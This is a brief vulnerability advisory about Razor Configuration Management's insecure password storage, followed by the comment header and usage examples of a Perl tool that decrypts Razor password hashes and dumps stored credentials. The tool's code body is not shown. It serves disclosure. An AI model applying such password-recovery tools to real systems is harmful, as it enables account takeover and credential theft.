The Razor Configuration Management program stores passwords in an insecure manner.
A local attacker can obtain the Razor passwords, and either seize control of the software and relevant databases or use those passwords to access other users' accounts on the network.

# Title: passwd_rz.pl
# Author: Shawn A. Clifford
# Date: 2000-June-15
# Purpose: Encrypt/decrypt Visible Systems Corp.' Razor passwords
# Usage: passwd_rz.pl [ hex_hash | password_file_name ]
#
# When run without arguments, this program will prompt for
# a plaintext password and produce the ciphertext that Razor
# would create for the same string.
# Eg.: ./passwd_rz.pl
#
# Enter a password, max 8 chars: WayLame
# Hash (in hex): D5585E13585B59
#
# When passed a hex-character string, the program will
# generate the corresponding plaintext password.
# Eg.: ./passwd_rz.pl D5585E13585B59
#
# Decrypting input hex string: D5585E13585B59
# Plaintext password: WayLame
#
# When passed a filename for a Razor password file (rz_passwd),
# the program will dump all of the entries in the password
# file. Each entry contains a username, password, and group.
# Eg.: ./passwd_rz.pl rz_passwd
#
# Decrypting Razor password file: rz_passwd
#
# Username Password Group
